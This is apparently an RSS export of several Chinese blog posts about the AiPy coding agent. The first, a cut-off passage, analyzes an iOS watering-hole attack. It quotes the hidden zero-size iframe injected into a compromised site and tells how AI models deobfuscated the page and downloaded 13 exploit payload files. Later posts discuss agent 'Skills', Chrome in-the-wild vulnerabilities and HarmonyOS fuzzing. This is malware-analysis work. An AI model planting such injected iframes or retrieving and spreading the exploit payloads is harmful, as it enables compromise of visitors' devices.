src="https://wechat2rss.xlab.app/img-proxy/?k=60503a54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLuQJX2zzE9KU0eUEsYl4oNibePDiabyYIKYpJUK7Pf9HiapxiaMOwwmqic9yhbwh16yUzIVOR13pC2UZGticqFDH3h8mv8Hsicj1L8fQg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">调用方式：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">iframe</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">src</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;/tuiliu/group.html&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">style</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;position: fixed;top:0;width:0;height:0;left:-1000px;border:0&#34;</span></span><span class="code-snippet__tag">&gt;&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">iframe</span></span><span class="code-snippet__tag">&gt;</span></span></code></pre></p><p><span leaf="">用的相对路径，当时我第一眼看到这个有点怀疑这个是不是目标页面，因为有很多网站本身正常页面也是这个写法，所以简单 Curl 一下，发现是混淆加密的，看起来有戏这个时候就是 AiPy 上场了</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; 帮我看个/Users/xxxx/aa/group_http.html 这个页面里的混淆的 js 都干了什么 注意是不是有关 ios 的相关的内容</span></p></blockquote><p><span leaf="">结果如图：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000842" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b0947a80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLtuZGa8LJHJTlicuMx7cfdAjrcdeiabJQJymSQdQKicbFYARibBofumRxUWCZm7pxLd8iafTJicJEIr15J2S0eXnZ8aPt8Csj9NWqTmo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">注意模型是 GLM 4.7</span></p><p><span leaf="">看到 “iOS 13-17” 的结论，基本上就可以确定这个多半就是目标了，那么能不能提取出来其他的 payload 呢？如果按历史经验手工一步一步debug 的化还是很累很麻烦并且非常无聊的，当然还有一个办法就是抓包，找一个手机抓个包，手头上没有那么多设备和环境，所以我们继续用 AiPy 把</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; 帮我看个/Users/heige/aa/group_http.html 这个页面里的混淆的 js 帮我分析下这个页面都动态加载了哪些 js</span></p></blockquote><p><span leaf="">多次测试后，发现glm 4.7没有成功，于是我追加了一些提示：</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; 帮我看个/Users/heige/aa/group_http.html 这个页面里的混淆的 js 帮我分析下这个页面都动态加载了哪些 js，提示：“Bailing out if the device is in</span></p><p><span leaf=""> Lockdown Mode, or the user is in private browsing.</span></p><p><span leaf="">A unique and hard-coded cookie is used along the way to generate resource URLs.</span></p><p><span leaf="">Resources are referred to by a hash, which needs to be derived with the unique cookie using sha256(COOKIE + ID)[:40] to get their URL.”</span></p></blockquote><p><span leaf="">上面提示词部分来源于 Google 文中的原文，这个也算是个 “skills” 提示吧，可惜有这个提示，结果也不是很理想，而且还不稳定，看了下结果可能还是模型能力的问题，有时候对 cookie 这个词也有“误解”，被认为是浏览器的 cookie 了，于是我换了下 Gemini3 的模型，尝试效果还是非常好的，于是我让 AiPy + Gemini3 一次性帮我线上的页面分析并下载回来：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000843" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4deaeee7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLvFWZiaVazIiaQdEd4RMhXHnE1bvy9ZeiaFpTGQIuXpRt6GG2xA92x4ndh0Q3royuF2xHxlvJ5a4ehvJ3vah3Q6ecAcCTXPwVxKIc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">而且直接镜像到本地了，这样得到了 group.html 混淆的 js 里还动态加载了 14 个 js 文件，其中一个就是 min.js 实际上是一个 二进制文件，其他的 13 是按对应 ios 版本判断记载的对应的漏洞攻击的 Payload，你可以继续让他分析哪些 ios 版本对应哪些 js 加载，及对应模板是干啥的</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000844" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6de04a58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLteiaB4UbjYiblfiaOZt58x2BQ3Hc68DxicNgIMicId5k0O4cKArbREUV0ZvXAtoibVFOKrRMr6cegXhA6WQPMv5a4K7jEibohRTzb8BY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">到这里其实我这个例子算基本完成了，当然在真正恶意分析角度上看还是不够的，因为这个只是水坑攻击的部分，在后续“浏览器”漏洞成功后，可能在对应的 exp 的 shellcode 等里面还有其他下载出发的漏洞或者恶意控制等的组件等等</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000845" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=264131e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLs7887Srd3ARS6TvZDsknaKyVd3fvRLqTzia6d97ur009s1rmrQ0KBy8hMmtaOlnUVdF63QOmlseXdRNLAmo21CGq0RBt6tu97E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">不过即使是这一步的分析，大模型时代已经让这个分析事情变得非常的简单直接了，另外在复杂任务上，这次其实我 还是测试了很多模型的，国产模型在复杂任务的理解/完成的稳定性等方面还是需要再努力，而国外的顶级模型 gemini/codex 表现都非常好，在神龙叫 杨教主文章《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA3OTgxNTg5OA==&amp;mid=2247484944&amp;idx=1&amp;sn=3e94c89187ee23358d185b6d4a79adf3&amp;scene=21#wechat_redirect" textvalue="大模型能力评测，中国落后一年" data-itemshowtype="0" linktype="text" data-linktype="2">大模型能力评测，中国落后一年》</a>里也提到了我们 AiPy 的模型测试结果是一致的</span></p><p><span leaf="">AiPy 的模型测试报告 www.aipyaipy.com 点击“测评报告”查看</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=67546ebe&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484497%26idx%3D1%26sn%3D0b609734e0cd791e816729101d7208ea">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 11 Mar 2026 22:29:00 +0800</pubDate>
    </item>
    <item>
      <title>AI Agent 下半场</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484484&amp;idx=1&amp;sn=f2074c8b6895179bbcc21bb5db71b712</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>heige</span> <span>2026-03-10 17:06</span> <span style="display: inline-block;">美国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6471f473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FxTZfvDhkzLvrjUChCU07PqmgdYWmYaS3V3UutxLIL7PLq1avWNG0hKLWA7gM9RJ3XEmWib9Io77zQpOFQ2BsJLcKUzEZjtwcNs6ibnDTy86l4%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000832" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=869b13e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FxTZfvDhkzLtU8DfSjVMqgvrJ5XC53QDtymyARxjicY8rLibAelkoxWLibibCwwVoOyRo2LdxIoZtIlpAUy52Ltic7TmiaKMyNcrEwOuwzz7IKK5rE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">1、Don’t just do it. Get it.</span></span></p><p><span leaf="">结合 2023 年 2024 年的各种忽悠经历，在 2025 年推出了《黑哥尔模型三定律》</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf="">第一定律：相信相信的力量（信念觉醒）</span></code><br/><code><span leaf="">第二定律：相信大模型的能力（认知觉醒）</span></code><br/><code><span leaf="">第三定律：<span class="code-snippet__title">Just</span> <span class="code-snippet__keyword">do</span> it [整就牛] （行动觉醒）</span></code><br/></pre></p><p><span leaf="">但是通过观察，也出现了很多“矫枉过正”的问题，过度相信大模型的能力，甚至沉迷于幻觉等情况的出现，这里没有特指而是说普遍存在，包括一些老板、有着技术情结的老玩家，有 AI 加持后，觉得所有的技术变得廉价了，不值钱了，你能干的我都能干 ... </span></p><p><span leaf="">我这里不是要推翻之前的《黑哥尔模型三定律》，而是在强调：“第三定律：Just do it [整就牛] （行动觉醒）” ，只有去真正去“do”了，才能尽可能的“实事求是”。所以在“下半场”我觉得可以把“Just do it”进化一下“Don’t just do it. Get it.”</span></p><p><span leaf="">很多时候，大家现在接触大模型更多的是焦虑带来的各种跟风，而实际应用到工作生活中的真正有价值的场景实际挖掘可能还不是特别的多，当然这个是一个复杂的多因素决定的，目前大家用对最多的从 Chat 的时代“你好你是谁”，到 Agent 时代的“帮我查下天气” ...</span></p><p><span leaf="">对于技术研究，很多时候都点到为止，验证可行性就算完结了，而我觉得这个在“下半场”不能满足了，不能只是“点到为止”/“浅尝浅止”了，是时候也结果说话了～～ </span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">2、Code-use 范式已成共识</span></span></p><p><span leaf="">在 2025 年我们通过 AiPy 推出了“Python-use”范式，本质就是 Code-use 范式，并率先打出了&#34;No Agents, Code is Agent.&#34;，在差不多一年时间过后，随着Anthropic通过 Claude Code 工程化实现的过程，并逐渐“觉醒”了&#34;Code is all you need&#34; 、 &#34;Code is the universal interface&#34;的认知，工程化实践也从 MCP --&gt; PTC --&gt; Skills 的进化而转变，Anthropic也因为他巨大的话语权及影响力，由此形成了“1 个Code-use 的范式 Agent + 多个Skills” 的基本共识和格局，也就是所谓的：“The future of AI isn&#39;t more agents—it&#39;s one universal agent powered by a library of domain-specific skills.”</span></p><p><span leaf="">在之前我很多次文章里都表达过，Skills 其实是在 Code-use 范式 觉醒后的，自然而然的产物，在当时 AiPy 实现的时候我们称为 “最佳实践”，在词意理解上还是非常接近“技能”的，只是Anthropic按照Claude code 等的工程实践结果，提出了一个相对宽松的结构化“标准” （这些内容都可以参考我之前的文章）</span></p><p><span leaf="">在我的视角不管是“最佳实践”还是“Skills”他本质还是“提示词工程”，所以 Skills 本质是一个相对结构化的“提示词工程”，是的Anthropic绕来绕去又回到了2023 年大模型刚火的那个阶段的“提示词工程”</span></p><p><span leaf="">而在工程化实现角度上看 卡帕西在 2025 年提出的“Context Engineering” 可能更加适合从整体上理解这个问题。当然里面可能涉及的对象不一样比如 Agent 的工程化开发，而 Skills 的开发偏向于社区 ...</span></p><p><span leaf="">不管是“提示词工程”还是“上下文工程”，这些都是现有大语言模型的本身结构决定的，在 GPT（Generative Pre-trained Transformer） 原本的范式结构里，Prompt 是不可缺少的，因为 GPT 本质是“已有上下文”去预测下一个 token，所以没有输入上下文，它就没有明确的生成条件。所以在现有大语言模型基础架构就决定了“上下文工程”，而这个成为大语言模型与“环境”交互的枢纽空间。</span></p><p><span leaf="">在这里我不得不再提一下这个图：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000810" data-ratio="0.5070921985815603" data-s="300,640" type="block" data-w="1128" src="https://wechat2rss.xlab.app/img-proxy/?k=f3d8c527&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVTJ7hJnJq8ybaQPpSYmPX1G2NrBE1Yl6DvMVqpm63oQSycTcafV0IjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">所以以至于我认为：“<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484466&amp;idx=1&amp;sn=e65765298da167e80bb0cf7f63cf34ce&amp;scene=21#wechat_redirect" textvalue="2026 AI Agent 的核心：Context Engineering，让环境可计算化" data-itemshowtype="0" linktype="text" data-linktype="2">2026 AI Agent 的核心：Context Engineering，让环境可计算化</a>” 也是基于这方面的考虑。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">3、“下半场”范式：自动总结生成 Skills并分发  </span></span></p><p><span leaf="">过度的开发者依赖不符合 AGI 的追求</span></p><p><span leaf="">「当然他还拥有任务理解规划、代码最佳实践方案、记忆管理注意力调整、任务反思反馈的能力，甚至我们认为通过Python Use这种范式，可以让各种AI章鱼和谐统一的为人类工作（类“MOE”模式），甚至可以让AI章鱼的自我进化，不只是手和脚，可以促进眼睛、鼻子、嘴巴等多模态能力的进化！最终实现AGI，这才是真正的“智能体”。」</span></p><p><span leaf="">解放 AI 是 AiPy 的追求：</span></p><p><span leaf="">&#34;No Agents, Code is Agent &lt;--&gt; Just Python-use &lt;--&gt; Freedom AI&#34;</span></p><p><span leaf="">这个也是符合黑哥尔三定律里的相信模型的能力，所以我之前对待 MCP 的态度，提倡 “No MCP”，因为MCP 有个问题依赖开发者的开发，而这个显然是不符合 AGI 的追求的，而 Skills 的爆火后同样存在这个问题，当然在大部分的时候相比 MCP 已经降低了不少“开发”门槛，不过还是看到不少资深开发者把核心放在 Skills 里的Script 的开发，而这样同样需要门槛。如果你过度去追求 Script 的复杂开发，显然这个又回归到 MCP 的老问题上了！</span></p><p><span leaf="">所以在“下半场”的范式应该是：</span></p><p><span leaf="">Code-use Agent --&gt; 任务 --&gt; 自动总结生成并安装 Skills --&gt; 分发 到 Skills 市场 --&gt; 其他用户下载安装使用</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">4、Cli + /h 或许是最好的 Skills</span></span></p><p><span leaf="">到现在为止其实我还是觉得我们的 AiPy CLi 的设计的兼容性和可扩展性是非常强大的，可惜的是可能关注的人不是特别多，比如 “API Calling” 的设计，你基本上就能扩展很多的互联网服务及很多的其他能提供 API 接口的设备联动，设置多模型联动等（具体可以参考<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》" data-itemshowtype="0" linktype="text" data-linktype="2">《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》</a>）当然还有一个点就是 “Packages Calling” 这里本身就有海量的Packages 重要的还有很多的本地小模型都提供对应的Package方便我们处理，当然也包括“当你有需求你开发一个包，调用就行了”，而 Pyhon 的包本事就能提供 Cli 执行，在这个角度上看，你开发一个复杂的 MCP 或者 SKills 里的复杂的脚本，实际上你不如直接开发一个 Python 包，当然在之前我朋友圈提到的 <a href="https://github.com/teng-lin/notebooklm-py" target="_blank">https://github.com/teng-lin/notebooklm-py</a> 这个项目，他其实就是开发了一个 py 包 ...</span></p><p><span leaf="">老黑客们都知道写的命令行工具都有个/h或者-h 的参数，来说明这个这个脚本或者工具的用途，当然一些变态的老黑客例外，所以其实包含脚本的这类 skills 写的 skill.md 无非是告诉你怎么调用这些脚本，如果你在实现命令行工具的时候加个/h 参数 那么你的 Skills 将变得非常简单明确。</span></p><p><span leaf="">比如之前我在使用 AiPy 对纯血鸿蒙的 hdc 接口进行 fuzzing 测试的时候用的提示词就是：</span></p><p><span leaf="">“现在你已经usb拦截我的手机，我的手机是华为鸿蒙系统，是通过hdc shell进行管理，但是这个是一个全新的手机，我需要你去通过在help -a命令来找到各种命令、子命令及参数，然后对所有系统命令及子命令进行随机fuzzing测试。”</span></p><p><span leaf="">按这个逻辑我们继续走下去，你会发现如果所有的东西都有 cli +/h 支持，那么上文提到的“1 个Code-use 的范式 Agent”，实际上就可以用一个“Base-use”的 Agent 替代，当然这个还得考虑操作系统等因素。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">5、从 Tool Calling 到 Environment Acting</span></span></p><p><span leaf="">在“2、Code-use 范式已成共识”明确后，我觉得大模型尝试可能不再过分追求 Function/Tool Calling，包括之前打榜的基准测试，而是“训练目标的重心，可能正在从‘会不会调工具’转向‘能不能在环境里把事做完’”，这个也是我之前文章里提到的“Context Engineering”模型端做的尝试努力，比如更智能的“记忆”、对 Skills 的更好理解与调用、更顺畅的注意力组织与上下文聚焦、更丝滑地处理长链路/复杂任务，在真实环境中持续执行、反馈、修正并完成目标等方向上的训练。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">小结</span></span></p><p><span leaf="">之所以用“下半场”这个词，是致敬姚顺雨的之前写过很火的文章《The Second Half》</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//ysymyth.github.io/The-Second-Half/</span></span></code></pre></p><p><span leaf="">当然我这个是说 AI Agent的下半场，到下半场我们应该真正看中的是结果，通过 AI 的融合或者重塑，真正在你的工作生活中解决实际有价值的问题，当然今天这篇文章还有一个重要点没有展开，那就是“性价比”的问题，如果要真正结果导向“性价比”的问题就是绕不开的一个问题。</span></p><p><span leaf="">最后还有一个问题就是“龙虾”的火爆，虽然我感觉很邪门（参考神龙叫<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzA3OTgxNTg5OA==&amp;mid=2247484955&amp;idx=1&amp;sn=52b48a760005842658a57020509d6aad&amp;scene=21#wechat_redirect" textvalue="龙虾？宗教、钱财、骗子" data-itemshowtype="0" linktype="text" data-linktype="2">《龙虾？宗教、钱财、骗子》</a>），但是它可能是加速AI Agent 进入“下半场”～～ 从流量游戏转为真正干活牛马～～</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000833" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1f5e8806&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxTZfvDhkzLt8vr8DfFXOVicFkMIJ44TTzIoFMuLjBjUjcgw5eLIOYlrUN2e3qiaZMXJvdFWtZBkiaA0M9jicFaIYMA39jFGIhSoPM4ex5doKxSs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=110efcc4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484484%26idx%3D1%26sn%3Df2074c8b6895179bbcc21bb5db71b712">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 10 Mar 2026 17:06:00 +0800</pubDate>
    </item>
    <item>
      <title>到底什么最重要？</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484472&amp;idx=1&amp;sn=4c2a5d0e26733c6c0352bb0756057964</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>heige</span> <span>2026-01-06 21:06</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ddd3bba4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuszXicrPeGM8tic2rT6oRlgpDVMdyytkRI5BFAdZ94a9FCw3FSIznVgoicIpc3bUqG0WWEOOKYjVrxxicQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p><span leaf="">这两天想统计下Chrome的2025年的在野利用漏洞情况，我首先想到的是通过<a href="https://chromereleases.googleblog.com/2025/01/" target="_blank">https://chromereleases.googleblog.com/2025/01/</a> 去爬取，于是我让AiPy帮我去完成这个任务，写个个简单任务提示词：</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; <a href="https://chromereleases.googleblog.com/2025/01/" target="_blank">https://chromereleases.googleblog.com/2025/01/</a> 这个是google chrome的升级log URL按月份生成对应的link，我需要你冲2025年01月到2025年12月的所有漏洞信息统计，注意你要通过语义理解去阅读页面内容，而不是通过正则等规则匹配，包括漏洞对应的CVE编号、报告者、报告日期、漏洞基本信息、是否存在在野利用等进行全面统计，结果按CVE编号去重保存到表单文件里，一定要注意要全面 如果访问错误请务必访问成功</span></p></blockquote><p><span leaf="">测试了下跑出了106个漏洞，然后7个在野漏洞，但是最大的问题是没办法确定，于是我让AiPy随机抽查了几个月份：</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; 你帮我随机抽查下8月 6月的漏洞 是否对得上数据</span></p></blockquote><p><span leaf="">结果提示漏掉好几个，然后我让他全部查一下在野漏洞的的情况，发现之前结果也有一些出入，后面分析后发现，主要是有一些数据的格式不统一导致的：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf="">[$<span class="code-snippet__number">2000</span>][<span class="code-snippet__number">384844003</span>] Medium CVE<span class="code-snippet__number">-2025-0762</span>:</span></code><br/><code><span leaf="">[<span class="code-snippet__meta">N/A</span>][<span class="code-snippet__number">460017370</span>] High CVE<span class="code-snippet__number">-2025-13223</span></span></code><br/><code><span leaf="">[<span class="code-snippet__meta">TBD</span>][<span class="code-snippet__number">405143032</span>] High CVE<span class="code-snippet__number">-2025-2783</span></span></code><br/></pre></p><p><span leaf="">而大模型处理数据习惯性的使用正则匹配，然后比如在野利用的描叙也有各种各有，比如：“in the wild” 、“in wild”等等，当然虽然在任务提示词里有要求 用“语义”理解，实际上大模型是直接无视的。于是我写了一个很长的“Skills” 并加上了一些例子说明，最后的效果看起来还不错，但是始终没办法确定数据是不是准确，抽查发现尤其在野数据老是不对，当然我也尝试了用ChatGPT来帮我执行这个任务，不过搞笑的是ChatGPT写了个脚本让我在本地跑 ... (本地跑那不直接AiPy啊！)</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000821" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b77a0407&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszXicrPeGM8tic2rT6oRlgpDVIzBvFXicPR40GMmhm33N4VQLt3klHIPmzA0jiccKdG16uNaoCuMn3kJQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">要命的是，最后我发现了一个问题：本身访问 <a href="https://chromereleases.googleblog.com/2025/01/" target="_blank">https://chromereleases.googleblog.com/2025/01/</a> 这个页面的数据是不全的，里面有分页（相当于你爬取<a href="https://chromereleases.googleblog.com/2025/01/" target="_blank">https://chromereleases.googleblog.com/2025/01/</a> 这个一月的数据，有一些一月公告的数据显示在下一页里）</span></p><p><span leaf="">这实际上从根本上否定了这个方法，于是我想着换一个思路：直接用搜索引擎的API来搜索</span></p><blockquote><p><span leaf="">&gt;&gt;&gt; google api搜索chromereleases.googleblog.com上 2025年的标记在野利用的漏洞及相关信息</span></p></blockquote><p><span leaf="">最后输出9个在野利用 </span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000820" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=137d005f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszXicrPeGM8tic2rT6oRlgpDV6c2IL84kT1xvLZKJmIhJFUjIK1olDdHJ1hDMSevBWkFLUE74qWkhgA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">那么这个结果准确不，于是我交叉了下GhatGPT的搜索结果，输出也是9个，对比了下 </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">https</span>://docs.google.com/spreadsheets/d/<span class="code-snippet__number">1</span>lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/view?gid=<span class="code-snippet__number">897725844</span></span></code></pre></p><p><span leaf=""> Google P0 0day &#34;In the Wild&#34; 项目的数据 基本上对的上，只是在这个项目了有2个漏洞标注是webkit，这个其实也影响Chrome </span></p><p><span leaf="">所以问题来了：到底什么是最重要？MCP/Skills? 工具？产品？结果？认知？那么现阶段的用户到底是谁？LLM到底取代了什么？</span></p><p><span leaf="">在纠结那么多问题之前，先纠结下：你能正常访问 <a href="https://chromereleases.googleblog.com" target="_blank">https://chromereleases.googleblog.com</a> 这个网站吗？</span></p><p><span leaf="">对了 我上面用的模型是GLM-4.7</span></p><p><span leaf="">新年水一篇，要不然老是有人问我：这个公众号买不买 ...</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=16487754&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484472%26idx%3D1%26sn%3D4c2a5d0e26733c6c0352bb0756057964">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 06 Jan 2026 21:06:00 +0800</pubDate>
    </item>
    <item>
      <title>2026 AI Agent 的核心：Context Engineering，让环境可计算化</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484466&amp;idx=1&amp;sn=e65765298da167e80bb0cf7f63cf34ce</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>heige</span> <span>2025-12-31 20:14</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=853e8f10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpV3q5fNlb9yKarVHkqTOs5qxQJXw2T7QdMq7CzGtcLwL7agyMKibao5mQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000815" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0136c075&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVEficicOVkia44R5nMYYbWqGkicBcGWUHwGiajzRNZDoCs1ATqErkAYy6iafg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">今天是2025年最后一天，从3月基于Python-use（Code-use）范式的AiPy项目开始，到年底逐步看到了很多大厂或者大佬的一些理念认知逐渐的趋同，这说明我们的Python-use范式的理念及AI Agent应用方向的理解还算是比较先进、深入的。这些我在之前的文章都有详细的介绍，而且很多点都是反复的说，当然很多细节点可能需要真正去实践才有可能“感同身受”，可惜的是缺少点“大厂”的光环 ...</span></p><p><span leaf="">在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484450&amp;idx=1&amp;sn=4f1271dbd048b457327a5bf59e171e63&amp;scene=21#wechat_redirect" textvalue="《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证" data-itemshowtype="0" linktype="text" data-linktype="2">《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证</a>》发布之后，我看到了来自Anthropic的两位Skills提出者的的演讲视频：</span></p><blockquote><p><span leaf="">Don&#39;t Build Agents, Build Skills Instead – Barry Zhang &amp; Mahesh Murag, Anthropic </span></p><p><span leaf=""><a href="https://www.youtube.com/watch?v=CEvIs9y1uog" target="_blank">https://www.youtube.com/watch?v=CEvIs9y1uog</a></span></p></blockquote><p><span leaf="">在这个演讲里他们提出了一个核心观点：</span></p><blockquote><p><span leaf="">&#34;The future of AI isn&#39;t more agents—it&#39;s one universal agent powered by a library of domain-specific skills.&#34;</span></p></blockquote><p><span leaf="">也就是说：“AI 的未来，不是更大的 Agent，而是 一个通用 Agent + 无数可复用的技能模块。”</span></p><p><span leaf="">在他们的演讲里明确提到的标题：&#34;Code is all you need&#34; 、 &#34;Code is the universal 